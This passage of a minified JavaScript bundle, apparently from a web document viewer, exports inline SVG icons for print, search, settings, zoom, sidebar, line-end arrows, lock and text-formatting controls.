C10.6400369,13.2756037 10.4960295,13.4896099 10.2671606,13.6048441 C10.0112903,13.7327414 9.60755531,13.7276761 9.41725983,13.5947136 C9.09452899,13.362979 8.38092094,12.8627868 7.84475058,12.4866929 C7.4783032,12.2296321 7.19414576,12.0308215 7.1658586,12.0080279 C6.73897955,11.7142441 5.72449892,11.0127087 5.56377639,10.9000072 C5.36319467,10.7936372 5.18832856,10.7163923 5.02117712,10.6657399 C4.96588857,10.6480116 4.9054569,10.6404137 4.84116789,10.6404137 M11.253354,19.2323232 C9.51112179,19.2323232 7.84475058,18.4750702 6.43424963,17.0403416 C5.66792459,16.2577624 4.90288534,15.4726505 4.13784608,14.688805 L2.75691808,13.2705384 C1.9353045,12.429709 1.76686728,11.2748347 2.32875326,10.3301679 C2.87392409,9.41335988 4.28442503,8.68396565 5.52134564,9.05499431 C5.80678886,9.14110335 6.09223208,9.26520168 6.42139183,9.44501762 L6.81869793,9.71220891 L6.81612637,3.42751519 C6.81741215,2.25997789 7.80103405,1 9.38768689,1 C10.1334394,1 10.8136172,1.27858808 11.2996421,1.78764447 C11.4359348,1.92820482 11.5542266,2.0877598 11.6493744,2.25617896 C11.9631048,2.12321647 12.3051223,2.05230314 12.6805701,2.06496623 C13.851916,2.10802075 14.8355379,2.89946415 15.0798361,3.9125117 C15.3575646,3.81373956 15.6532941,3.76308719 15.9554525,3.76182088 C16.6729178,3.76182088 17.2798061,3.99228919 17.7259719,4.42663333 C18.1605656,4.8521133 18.3920061,5.41941993 18.3945776,6.06903666 C18.4010065,7.17199218 18.398435,9.37410429 18.398435,9.37410429 L18.4035781,10.1883413 C18.4112928,10.9671216 18.4190074,11.7724944 18.3662905,12.5879976 C18.2004248,15.1776004 16.8734996,17.1821683 14.5320937,18.3851622 C13.4353231,18.9486699 12.3321237,19.2323232 11.253354,19.2323232"></path></g></g></g></g></svg>'},function(e,t){e.exports='<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"><defs><style>.cls-1{fill:#abb0c4;}</style></defs><title>icon - header - print - fill</title><path class="cls-1" d="M20,7H18V2H6V7H4A2,2,0,0,0,2,9v8a2,2,0,0,0,2,2H6v3H18V19h2a2,2,0,0,0,2-2V9A2,2,0,0,0,20,7ZM8,4h8V7H8Zm7,6v2H13V10Zm1,10H8V16h8Zm2-8H16V10h2Z"></path></svg>'},function(e,t){e.exports='<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"><defs><style>.cls-1{fill:#abb0c4;}</style></defs><title>icon - header - print - line</title><path class="cls-1" d="M20,6H18V2H6V6H4A2,2,0,0,0,2,8v9a2,2,0,0,0,2,2H6v3H18V19h2a2,2,0,0,0,2-2V8A2,2,0,0,0,20,6ZM8,4h8V6H8Zm8,16H8V16h8Zm4-3H18V14H6v3H4V8H20Zm-4-7h2v2H16Zm-3,0h2v2H13Z"></path></svg>'},function(e,t){e.exports='<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"><defs><style>.cls-1{fill:#abb0c4;}</style></defs><title>icon - header - search</title><path class="cls-1" d="M17.69,15.79a8.63,8.63,0,1,0-1.52,1.51l4.42,4.42a.42.42,0,0,0,.57,0l.94-.95a.39.39,0,0,0,0-.56Zm-5.28,1A6.42,6.42,0,1,1,17.19,12,6.43,6.43,0,0,1,12.41,16.8Z"></path></svg>'},function(e,t){e.exports='<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"><defs><style>.cls-1{fill:#abb0c4;}</style></defs><title>icon - header - select - fill</title><path class="cls-1" d="M21.29,18.05l-2.75,2.22A1.67,1.67,0,0,1,16.05,20l-1.56-1.8-1.67-2.06-1.37,1.11-1.38,1.11a.72.72,0,0,1-.9.15.8.8,0,0,1-.54-.81V6.13c-.07-.51.48-1,1.1-.89l11,2.7c.36.16.6.31.68.7a.81.81,0,0,1-.34.84l-1.37,1.11L18.33,11.7l1.11,1.38,2.12,2.49A1.66,1.66,0,0,1,21.29,18.05ZM5.75,5.24a.9.9,0,0,0,.88-1,.92.92,0,0,0-1-1H3a1,1,0,0,0-1,1,.92.92,0,0,0,1,1h.38V18.86H3a1,1,0,0,0-1,1,.92.92,0,0,0,1,1H5.75a.89.89,0,0,0,.88-1,.92.92,0,0,0-1-1H5.38V5.24Z"></path></svg>'},function(e,t){e.exports='<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"><defs><style>.cls-1{fill:#abb0c4;}</style></defs><title>icon - header - select - line</title><path class="cls-1" d="M21.56,15.57l-2.12-2.49L18.33,11.7l1.38-1.11,1.37-1.11a.81.81,0,0,0,.34-.84c-.08-.39-.32-.54-.68-.7l-11-2.7c-.62-.06-1.17.38-1.1.89V17.7a.8.8,0,0,0,.54.81.72.72,0,0,0,.9-.15l1.38-1.11,1.37-1.11,1.67,2.06L16.05,20a1.67,1.67,0,0,0,2.49.27l2.75-2.22A1.66,1.66,0,0,0,21.56,15.57Zm-3.84,3-1.46-1.67L14,14.13l-.67-.7-1,.78-1.79,1.44v-8l7.73,1.71-1.66,1.46-1,.77,2.21,2.76,2.14,2.36ZM5.37,5.24V18.86h.25a.92.92,0,0,1,1,1,.89.89,0,0,1-.87,1H3a.92.92,0,0,1-1-1,1,1,0,0,1,1-1h.38V5.24H3a.92.92,0,0,1-1-1,1,1,0,0,1,1-1H5.62a.92.92,0,0,1,1,1,.89.89,0,0,1-.87,1Z"></path></svg>'},function(e,t){e.exports='<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"><defs><style>.cls-1{fill:#abb0c4;}</style></defs><title>icon - header - settings - fill</title><path class="cls-1" d="M21.29,13.9l-1.37-.79a7.74,7.74,0,0,0,0-2.22l1.37-.79a1,1,0,0,0,.37-1.37l-2-3.46a1,1,0,0,0-1.37-.37l-1.4.81A8,8,0,0,0,15,4.6V3a1,1,0,0,0-1-1H10A1,1,0,0,0,9,3V4.6A8.28,8.28,0,0,0,7.1,5.71L5.71,4.9a1,1,0,0,0-1.37.37l-2,3.46a1,1,0,0,0,.37,1.37l1.37.79a7.74,7.74,0,0,0,0,2.22l-1.37.79a1,1,0,0,0-.37,1.37l2,3.46a1,1,0,0,0,1.37.37l1.4-.81A8,8,0,0,0,9,19.4V21a1,1,0,0,0,1,1h4a1,1,0,0,0,1-1V19.4a8.28,8.28,0,0,0,1.9-1.11l1.39.81a1,1,0,0,0,1.37-.37l2-3.46A1,1,0,0,0,21.29,13.9ZM12,16a4,4,0,1,1,4-4A4,4,0,0,1,12,16Z"></path></svg>'},function(e,t){e.exports='<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"><defs><style>.cls-1{fill:#abb0c4;}</style></defs><title>icon - header - settings - line</title><path class="cls-1" d="M12,8a4,4,0,1,0,4,4A4,4,0,0,0,12,8Zm0,6a2,2,0,1,1,2-2A2,2,0,0,1,12,14Zm8.42-.6-.5-.29a7.74,7.74,0,0,0,0-2.22l.5-.29a2,2,0,0,0,.73-2.74l-1-1.72a2.06,2.06,0,0,0-2.73-.74l-.53.31A8.07,8.07,0,0,0,15,4.6V4a2,2,0,0,0-2-2H11A2,2,0,0,0,9,4v.6A8.07,8.07,0,0,0,7.1,5.71L6.57,5.4a2.07,2.07,0,0,0-2.73.73l-1,1.73a2,2,0,0,0,.73,2.74l.5.29a7.74,7.74,0,0,0,0,2.22l-.5.29a2,2,0,0,0-.73,2.74l1,1.73a2.05,2.05,0,0,0,2.72.73l.53-.31A8.07,8.07,0,0,0,9,19.4V20a2,2,0,0,0,2,2h2a2,2,0,0,0,2-2v-.6a8.07,8.07,0,0,0,1.9-1.11l.53.31a2.07,2.07,0,0,0,2.73-.73l1-1.73A2,2,0,0,0,20.42,13.4Zm-2.59-2.78A5.86,5.86,0,0,1,18,12a5.92,5.92,0,0,1-.17,1.38,1,1,0,0,0,.47,1.11l1.12.64-1,1.73-1.15-.66a1,1,0,0,0-1.19.15,6.05,6.05,0,0,1-2.38,1.39,1,1,0,0,0-.71,1V20H11V18.7a1,1,0,0,0-.71-1,6.05,6.05,0,0,1-2.38-1.39,1,1,0,0,0-.69-.28,1,1,0,0,0-.5.13l-1.14.67-1-1.73,1.12-.65a1,1,0,0,0,.47-1.11A5.92,5.92,0,0,1,6,12a5.86,5.86,0,0,1,.17-1.38A1,1,0,0,0,5.7,9.51L4.58,8.86l1-1.73,1.15.67a1,1,0,0,0,1.19-.15,6.05,6.05,0,0,1,2.38-1.39,1,1,0,0,0,.71-1V4h2V5.3a1,1,0,0,0,.71,1,6.05,6.05,0,0,1,2.38,1.39,1,1,0,0,0,1.19.15l1.14-.66,1,1.73-1.12.64A1,1,0,0,0,17.83,10.62Z"></path></svg>'},function(e,t){e.exports='<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"><defs><style>.cls-1{fill:#abb0c4;}</style></defs><title>icon - header - sidebar - fill</title><path class="cls-1" d="M22,19.78V4.22A2.23,2.23,0,0,0,19.78,2H4.22A2.23,2.23,0,0,0,2,4.22V19.78A2.23,2.23,0,0,0,4.22,22H19.78A2.23,2.23,0,0,0,22,19.78Zm-12.22,0V4.22h10V19.78Z"></path></svg>'},function(e,t){e.exports='<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 20 20"><defs><style>.cls-1{fill:#abb0c4;}</style></defs><path class="cls-1" d="M19.78,2H4.22A2.24,2.24,0,0,0,2,4.22V19.78A2.24,2.24,0,0,0,4.22,22H19.78A2.24,2.24,0,0,0,22,19.78V4.22A2.24,2.24,0,0,0,19.78,2ZM7.56,19.78H4.22V4.22H7.56Z" transform="translate(-2 -2)"></path></svg>'},function(e,t){e.exports='<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"><defs><style>.cls-1{fill:#abb0c4;}</style></defs><title>icon - header - sidebar - line</title><path class="cls-1" d="M19.78,2H4.22A2.23,2.23,0,0,0,2,4.22V19.78A2.23,2.23,0,0,0,4.22,22H19.78A2.23,2.23,0,0,0,22,19.78V4.22A2.23,2.23,0,0,0,19.78,2ZM7.56,19.78H4.22V4.22H7.56Zm2.22,0V4.22h10V19.78Z"></path></svg>'},function(e,t){e.exports='<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"><defs><style>.cls-1{fill:#abb0c4;}</style></defs><title>icon - header - zoom - fit to page</title><path class="cls-1" d="M9.76,13.06l-5,5L3.07,16.4a.4.4,0,0,0-.68.28V21.6a.4.4,0,0,0,.4.4H7.71A.4.4,0,0,0,8,21.32L6.32,19.64l5-5a.4.4,0,0,0,0-.57l-1-1A.39.39,0,0,0,9.76,13.06Zm7-10.38,1.67,1.68-5,5a.4.4,0,0,0,0,.57l1,1A.4.4,0,0,0,15,11l5-5L21.71,7.6a.4.4,0,0,0,.68-.28V2.4A.4.4,0,0,0,22,2H17.07A.4.4,0,0,0,16.79,2.68Z"></path></svg>'},function(e,t){e.exports='<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"><defs><style>.cls-1{fill:#abb0c4;}</style></defs><title>icon - header - zoom - fit to width</title><path class="cls-1" d="M5.93,4.36,9.17,7.6a.39.39,0,0,1,0,.56l-1,1a.39.39,0,0,1-.56,0L4.36,5.93,2.68,7.6A.4.4,0,0,1,2,7.32V2.4A.4.4,0,0,1,2.4,2H7.32a.4.4,0,0,1,.28.68ZM7.6,14.83,4.36,18.07,2.68,16.4a.4.4,0,0,0-.68.28V21.6a.4.4,0,0,0,.4.4H7.32a.4.4,0,0,0,.28-.68L5.93,19.64,9.17,16.4a.39.39,0,0,0,0-.56l-1-1A.39.39,0,0,0,7.6,14.83ZM16.4,2.68l1.67,1.68L14.83,7.6a.39.39,0,0,0,0,.56l1,1a.39.39,0,0,0,.56,0l3.24-3.24L21.32,7.6A.4.4,0,0,0,22,7.32V2.4a.4.4,0,0,0-.4-.4H16.68A.4.4,0,0,0,16.4,2.68Zm-.56,12.15-1,1a.39.39,0,0,0,0,.56l3.24,3.24L16.4,21.32a.4.4,0,0,0,.28.68H21.6a.4.4,0,0,0,.4-.4V16.68a.4.4,0,0,0-.68-.28l-1.68,1.67L16.4,14.83A.39.39,0,0,0,15.84,14.83Z"></path></svg>'},function(e,t){e.exports='<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"><defs><style>.cls-1{fill:#abb0c4;}</style></defs><title>icon - header - zoom - in - fill</title><path class="cls-1" d="M12,2A10,10,0,1,0,22,12,10,10,0,0,0,12,2Zm5,11H13v4H11V13H7V11h4V7h2v4h4Z"></path></svg>'},function(e,t){e.exports='<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"><defs><style>.cls-1{fill:#abb0c4;}</style></defs><title>icon - header - zoom - in - line</title><path class="cls-1" d="M13,11h4v2H13v4H11V13H7V11h4V7h2Zm9,1A10,10,0,1,1,12,2,10,10,0,0,1,22,12Zm-2,0a8,8,0,1,0-8,8A8,8,0,0,0,20,12Z"></path></svg>'},function(e,t){e.exports='<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"><defs><style>.cls-1{fill:#abb0c4;}</style></defs><title>icon - header - zoom - marquee</title><path class="cls-1" d="M3.05,18.84H6.21v-2.1H4.11V14.63H2v3.16A1,1,0,0,0,3.05,18.84ZM18.84,3.05a1,1,0,0,0-1.05-1H14.63V4.11h2.11v2.1h2.1ZM4.11,4.11h2.1V2H3.05a1,1,0,0,0-1,1V6.21H4.11ZM2,8.32H4.11v4.21H2Zm14.74,0h2.1v3.15h-2.1ZM22,21l-1.81-1.82a3.53,3.53,0,0,0,.59-1.95,3.64,3.64,0,1,0-1.65,3L21,22Zm-6.9-3.77a2.08,2.08,0,1,1,2.08,2.08A2.08,2.08,0,0,1,15.1,17.18ZM8.32,2h4.21V4.11H8.32Zm0,14.74h3.15v2.1H8.32Z"></path></svg>'},function(e,t){e.exports='<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"><defs><style>.cls-1{fill:#abb0c4;}</style></defs><title>icon - header - zoom - out - fill</title><path class="cls-1" d="M12,2A10,10,0,1,0,22,12,10,10,0,0,0,12,2Zm5,11H7V11H17Z"></path></svg>'},function(e,t){e.exports='<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"><defs><style>.cls-1{fill:#abb0c4;}</style></defs><title>icon - header - zoom - out - line</title><path class="cls-1" d="M7,11H17v2H7Zm15,1A10,10,0,1,1,12,2,10,10,0,0,1,22,12Zm-2,0a8,8,0,1,0-8,8A8,8,0,0,0,20,12Z"></path></svg>'},function(e,t){e.exports='<svg viewBox="0 0 16 16" xmlns="http://www.w3.org/2000/svg"><path d="M8.66671 11.3333V7.33325H7.33337V11.3333H8.66671Z"></path><path d="M8.66671 5.99992V4.66659H7.33337V5.99992H8.66671Z"></path><path fill-rule="evenodd" clip-rule="evenodd" d="M1.33337 7.99992C1.33337 4.32392 4.32404 1.33325 8.00004 1.33325C11.676 1.33325 14.6667 4.32392 14.6667 7.99992C14.6667 11.6759 11.676 14.6666 8.00004 14.6666C4.32404 14.6666 1.33337 11.6759 1.33337 7.99992ZM2.66671 7.99992C2.66671 10.9406 5.05937 13.3333 8.00004 13.3333C10.9407 13.3333 13.3334 10.9406 13.3334 7.99992C13.3334 5.05925 10.9407 2.66659 8.00004 2.66659C5.05937 2.66659 2.66671 5.05925 2.66671 7.99992Z"></path></svg>'},function(e,t){e.exports='<svg viewBox="0 0 24 24" fill="none" xmlns="http://www.w3.org/2000/svg"><path fill-rule="evenodd" clip-rule="evenodd" d="M21 6.7H3C2.83431 6.7 2.7 6.83431 2.7 7V17C2.7 17.1657 2.83431 17.3 3 17.3H21C21.1657 17.3 21.3 17.1657 21.3 17V7C21.3 6.83431 21.1657 6.7 21 6.7ZM3 5C1.89543 5 1 5.89543 1 7V17C1 18.1046 1.89543 19 3 19H21C22.1046 19 23 18.1046 23 17V7C23 5.89543 22.1046 5 21 5H3Z" fill="#868E96"></path><rect x="5" y="8" width="2" height="2" fill="#868E96"></rect><rect x="5" y="11" width="2" height="2" fill="#868E96"></rect><rect x="9" y="8" width="2" height="2" fill="#868E96"></rect><rect x="9" y="11" width="2" height="2" fill="#868E96"></rect><rect x="13" y="8" width="2" height="2" fill="#868E96"></rect><rect x="13" y="11" width="2" height="2" fill="#868E96"></rect><rect x="17" y="8" width="2" height="2" fill="#868E96"></rect><rect x="17" y="11" width="2" height="2" fill="#868E96"></rect><rect x="7" y="14.3" width="10" height="1.7" fill="#868E96"></rect></svg>'},function(e,t){e.exports='<svg viewBox="0 0 30 6" fill="none" xmlns="http://www.w3.org/2000/svg"><path fill-rule="evenodd" clip-rule="evenodd" d="M26.6667 2.5H0V3.5H26.6667L30 6V0L26.6667 2.5ZM29 2V4L27.6667 3L29 2Z" fill="#485056"></path></svg>'},function(e,t){e.exports='<svg viewBox="0 0 30 6" fill="none" xmlns="http://www.w3.org/2000/svg"><path fill-rule="evenodd" clip-rule="evenodd" d="M25.8333 3.5H0V2.5H25.8333V0L30 3L25.8333 6L25.8333 3.5ZM26.8333 4.04777V1.95223L28.2886 3L26.8333 4.04777Z" fill="#485056"></path></svg>'},function(e,t){e.exports='<svg viewBox="0 0 30 6" fill="none" xmlns="http://www.w3.org/2000/svg"><path d="M29.2929 0L30 0.707092L27.7071 3L30 5.29291L29.2929 6L27 3.70709L26.9948 3.71228L26.7825 3.5H0V2.5H26.7825L26.9948 2.28772L27 2.29291L29.2929 0Z" fill="#485056"></path></svg>'},function(e,t){e.exports='<svg viewBox="0 0 31 6" fill="none" xmlns="http://www.w3.org/2000/svg"><path d="M27.996 0L27.2889 0.707092L29.0818 2.5H0.995972V3.5H29.0777L27.2848 5.29291L27.9919 6L30.2869 3.70508L30.2929 3.71112L31 3.00403L30.994 2.99799L30.996 2.99597L30.2889 2.28888L30.2869 2.29089L27.996 0Z" fill="#485056"></path></svg>'},function(e,t){e.exports='<svg viewBox="0 0 30 6" fill="none" xmlns="http://www.w3.org/2000/svg"><path d="M29 0H30V6H29V3.5H0V2.5H29V0Z" fill="#485056"></path></svg>'},function(e,t){e.exports='<svg viewBox="0 0 30 6" fill="none" xmlns="http://www.w3.org/2000/svg"><path fill-rule="evenodd" clip-rule="evenodd" d="M26.03 3.30107L25.9689 3L26.03 2.69893C26.1689 2.01468 26.7755 1.5 27.5 1.5C28.3284 1.5 29 2.17157 29 3C29 3.82843 28.3284 4.5 27.5 4.5C26.7755 4.5 26.1689 3.98532 26.03 3.30107ZM25.05 3.5C25.2816 4.64112 26.2905 5.5 27.5 5.5C28.8807 5.5 30 4.38071 30 3C30 1.61929 28.8807 0.5 27.5 0.5C26.2905 0.5 25.2816 1.35888 25.05 2.5H0V3.5H25.05Z" fill="#485056"></path></svg>'},function(e,t){e.exports='<svg viewBox="0 0 30 6" fill="none" xmlns="http://www.w3.org/2000/svg"><path fill-rule="evenodd" clip-rule="evenodd" d="M24.5 3.5H0V2.5H24.5L27 0L30 3L27 6L24.5 3.5ZM27 4.58579L25.4142 3L27 1.41421L28.5858 3L27 4.58579Z" fill="#485056"></path></svg>'},function(e,t){e.exports='<svg viewBox="0 0 31 6" fill="none" xmlns="http://www.w3.org/2000/svg"><path d="M26.004 5.49262L26.8701 6L29.9951 0.50739L29.129 5.09238e-06L27.7067 2.5L0.00402893 2.5L0.00402876 3.5L27.1377 3.5L26.004 5.49262Z" fill="#485056"></path></svg>'},function(e,t){e.exports='<svg viewBox="0 0 30 6" fill="none" xmlns="http://www.w3.org/2000/svg"><path fill-rule="evenodd" clip-rule="evenodd" d="M25 3.5H0V2.5H25V0.5H30V5.5H25V3.5ZM26 4.5V1.5H29V4.5H26Z" fill="#485056"></path></svg>'},function(e,t){e.exports='<svg viewBox="0 0 30 2" fill="none" xmlns="http://www.w3.org/2000/svg"><line y1="1" x2="30" y2="1" stroke="#485056"></line></svg>'},function(e,t){e.exports='<svg viewBox="0 0 31 6" fill="none" xmlns="http://www.w3.org/2000/svg"><path fill-rule="evenodd" clip-rule="evenodd" d="M3.33736 2.5H30.004V3.5H3.33736L0.00402832 6V0L3.33736 2.5ZM1.00403 2V4L2.33736 3L1.00403 2Z" fill="#485056"></path></svg>'},function(e,t){e.exports='<svg viewBox="0 0 30 6" fill="none" xmlns="http://www.w3.org/2000/svg"><path fill-rule="evenodd" clip-rule="evenodd" d="M4.16667 3.5H30V2.5H4.16667V0L0 3L4.16667 6L4.16667 3.5ZM3.16667 4.04777V1.95223L1.71144 3L3.16667 4.04777Z" fill="#485056"></path></svg>'},function(e,t){e.exports='<svg viewBox="0 0 31 6" fill="none" xmlns="http://www.w3.org/2000/svg"><path d="M0.711136 0L0.00402832 0.707092L2.29695 3L0.00402832 5.29291L0.711136 6L3.00404 3.70709L3.00923 3.71228L3.22152 3.5H30.004V2.5H3.22152L3.00923 2.28772L3.00404 2.29291L0.711136 0Z" fill="#485056"></path></svg>'},function(e,t){e.exports='<svg viewBox="0 0 31 6" fill="none" xmlns="http://www.w3.org/2000/svg"><path d="M3.00403 0L3.71114 0.707092L1.91823 2.5H30.004V3.5H1.92226L3.71516 5.29291L3.00806 6L0.713135 3.70508L0.707108 3.71112L0 3.00403L0.00604248 2.99799L0.00402832 2.99597L0.711136 2.28888L0.713135 2.29089L3.00403 0Z" fill="#485056"></path></svg>'},function(e,t){e.exports='<svg viewBox="0 0 30 6" fill="none" xmlns="http://www.w3.org/2000/svg"><path fill-rule="evenodd" clip-rule="evenodd" d="M3.33333 2.5H30V3.5H3.33333L0 6V0L3.33333 2.5ZM1 2V4L2.33333 3L1 2Z" fill="#485056"></path></svg>'},function(e,t){e.exports='<svg viewBox="0 0 31 6" fill="none" xmlns="http://www.w3.org/2000/svg"><path d="M1.00403 0H0.00402832V6H1.00403V3.5H30.004V2.5H1.00403V0Z" fill="#485056"></path></svg>'},function(e,t){e.exports='<svg viewBox="0 0 30 6" fill="none" xmlns="http://www.w3.org/2000/svg"><path fill-rule="evenodd" clip-rule="evenodd" d="M3.96998 3.30107L4.03109 3L3.96998 2.69893C3.83108 2.01468 3.22452 1.5 2.5 1.5C1.67157 1.5 1 2.17157 1 3C1 3.82843 1.67157 4.5 2.5 4.5C3.22452 4.5 3.83108 3.98532 3.96998 3.30107ZM4.94999 3.5C4.71836 4.64112 3.70948 5.5 2.5 5.5C1.11929 5.5 0 4.38071 0 3C0 1.61929 1.11929 0.5 2.5 0.5C3.70948 0.5 4.71836 1.35888 4.94999 2.5H30V3.5H4.94999Z" fill="#485056"></path></svg>'},function(e,t){e.exports='<svg viewBox="0 0 31 6" fill="none" xmlns="http://www.w3.org/2000/svg"><path fill-rule="evenodd" clip-rule="evenodd" d="M5.50403 3.5H30.004V2.5H5.50403L3.00403 0L0.00402832 3L3.00403 6L5.50403 3.5ZM3.00403 4.58579L4.58981 3L3.00403 1.41421L1.41824 3L3.00403 4.58579Z" fill="#485056"></path></svg>'},function(e,t){e.exports='<svg viewBox="0 0 31 6" fill="none" xmlns="http://www.w3.org/2000/svg"><path d="M0.870054 6L0.00402828 5.49261L3.12903 -2.73196e-07L3.99505 0.507385L2.86555 2.49264L30.004 2.49264L30.004 3.50741L2.2882 3.50742L0.870054 6Z" fill="#485056"></path></svg>'},function(e,t){e.exports='<svg viewBox="0 0 31 6" fill="none" xmlns="http://www.w3.org/2000/svg"><path fill-rule="evenodd" clip-rule="evenodd" d="M5.00403 3.5H30.004V2.5H5.00403V0.5H0.00402832V5.5H5.00403V3.5ZM4.00403 4.5V1.5H1.00403V4.5H4.00403Z" fill="#485056"></path></svg>'},function(e,t){e.exports='<svg viewBox="0 0 15 15" version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"><title>icon-lock</title><g id="Page-1" stroke="none" stroke-width="1" fill="none" fill-rule="evenodd"><g id="icon-lock"><rect id="15-x-15" fill="#D8D8D8" opacity="0" x="0" y="0" width="15" height="15"></rect><path d="M13.5,7.5 C13.5,6.67275 12.82725,6 12,6 L11.25,6 L11.25,3.75 C11.25,1.68225 9.56775,0 7.5,0 C5.43225,0 3.75,1.68225 3.75,3.75 L3.75,6 L3,6 C2.17275,6 1.5,6.67275 1.5,7.5 L1.5,13.5 C1.5,14.32725 2.17275,15 3,15 L12,15 C12.82725,15 13.5,14.32725 13.5,13.5 L13.5,7.5 Z M5.25,3.75 C5.25,2.5095 6.2595,1.5 7.5,1.5 C8.7405,1.5 9.75,2.5095 9.75,3.75 L9.75,6 L5.25,6 L5.25,3.75 Z" id="Shape" fill="#868E96" fill-rule="nonzero"></path></g></g></svg>'},function(e,t){e.exports='<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"><defs><style>.cls-1{fill:#abb0c4;}</style></defs><title>icon - menu - add style - fill</title><path class="cls-1" d="M22,18.28V20H20.13v1.87h-1.7V20H16.56V18.28h1.87V16.41h1.7v1.87ZM15,15a2,2,0,0,0-.39,2.28l.2.41a3,3,0,0,1-.15,2.88A3,3,0,0,1,12.14,22H12a10,10,0,0,1-9.9-8.6,10,10,0,0,1,19.55-4A10.4,10.4,0,0,1,22,12.14a3,3,0,0,1-4.31,2.67l-.41-.2h0A2,2,0,0,0,15,15ZM6.5,12A1.5,1.5,0,1,0,5,10.51,1.5,1.5,0,0,0,6.5,12ZM9,15.51A1.5,1.5,0,1,0,7.5,17,1.5,1.5,0,0,0,9,15.51Zm3-9A1.5,1.5,0,1,0,10.5,8,1.5,1.5,0,0,0,12,6.5ZM15.5,9A1.5,1.5,0,1,0,14,7.5,1.5,1.5,0,0,0,15.5,9Z"></path></svg>'},function(e,t){e.exports='<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"><defs><style>.cls-1{fill:#abb0c4;}</style></defs><title>icon - menu - add style - line</title><path class="cls-1" d="M9,14.5A1.5,1.5,0,1,1,7.5,13,1.5,1.5,0,0,1,9,14.5ZM10.5,6A1.5,1.5,0,1,0,12,7.5,1.5,1.5,0,0,0,10.5,6Zm-3,3A1.5,1.5,0,1,0,9,10.5,1.5,1.5,0,0,0,7.5,9Zm7.2,6.36a2,2,0,0,0-.09,1.92l.2.41A3,3,0,0,1,12.14,22H12a9.74,9.74,0,0,1-2.62-.36A10,10,0,0,1,4.46,5.43,10,10,0,0,1,22,12.14a3,3,0,0,1-3,3,3.09,3.09,0,0,1-1.3-.3l-.41-.2A2,2,0,0,0,14.7,15.36Zm3.44-2.55.42.19A1,1,0,0,0,20,12.11a8,8,0,0,0-6.87-8A7.24,7.24,0,0,0,12,4,8,8,0,0,0,6,6.74a7.92,7.92,0,0,0-1.89,6.39A8.05,8.05,0,0,0,9.9,19.72,8.42,8.42,0,0,0,12,20h.11a1,1,0,0,0,.84-.48,1,1,0,0,0,.05-1l-.2-.42A3.92,3.92,0,0,1,13,14.3,4.05,4.05,0,0,1,18.14,12.81ZM14.5,6A1.5,1.5,0,1,0,16,7.5,1.5,1.5,0,0,0,14.5,6Zm5.63,12.28V16.41h-1.7v1.87H16.56V20h1.87v1.87h1.7V20H22V18.28Z"></path></svg>'},function(e,t){e.exports='<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 16 16"><defs><style>.cls-1{fill:#abb0c4;}</style></defs><title>icon - menu - add</title><path class="cls-1" d="M13.6,6.94H9.06V2.4a.4.4,0,0,0-.4-.4H7.34a.4.4,0,0,0-.4.4V6.94H2.4a.4.4,0,0,0-.4.4V8.66a.4.4,0,0,0,.4.4H6.94V13.6a.4.4,0,0,0,.4.4H8.66a.4.4,0,0,0,.4-.4V9.06H13.6a.4.4,0,0,0,.4-.4V7.34A.4.4,0,0,0,13.6,6.94Z"></path></svg>'},function(e,t){e.exports='<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"><defs><style>.cls-1{fill:#8c8c8c;}</style></defs><title>icon - line - align centre</title><path class="cls-1" d="M3.11,19.78H20.89V22H3.11Zm3.33-4.45H17.56v2.23H6.44ZM3.11,10.89H20.89v2.22H3.11ZM3.11,2H20.89V4.22H3.11ZM6.44,6.44H17.56V8.67H6.44Z"></path></svg>'},function(e,t){e.exports='<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"><defs><style>.cls-1{fill:#8c8c8c;}</style></defs><title>icon - line - align left</title><path class="cls-1" d="M3.11,19.78H20.89V22H3.11Zm0-4.45H15.33v2.23H3.11Zm0-4.44H20.89v2.22H3.11ZM3.11,2H20.89V4.22H3.11Zm0,4.44H15.33V8.67H3.11Z"></path></svg>'},function(e,t){e.exports='<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"><defs><style>.cls-1{fill:#8c8c8c;}</style></defs><title>icon - fill - align right</title><path class="cls-1" d="M3.11,19.78H20.89V22H3.11Zm5.56-4.45H20.89v2.23H8.67ZM3.11,10.89H20.89v2.22H3.11ZM3.11,2H20.89V4.22H3.11ZM8.67,6.44H20.89V8.67H8.67Z"></path></svg>'},function(e,t){e.exports='<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"><defs><style>.cls-1{fill:#abb0c4;}</style></defs><title>icon - menu - bold</title><path class="cls-1" d="M16.81,11.72A4.46,4.46,0,0,0,17.75,9a4.51,4.51,0,0,0-4.5-4.5H5.75v15h8a4.49,4.49,0,0,0,3.06-7.78ZM13.25,7.5a1.5,1.5,0,0,1,0,3H8.75v-3Zm.5,9h-5v-3h5a1.5,1.5,0,0,1,0,3Z"></path></svg>'},function(e,t){e.exports='<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"><defs><style>.cls-1{fill:#abb0c4;}</style></defs><title>icon - menu - centre align</title><path class="cls-1" 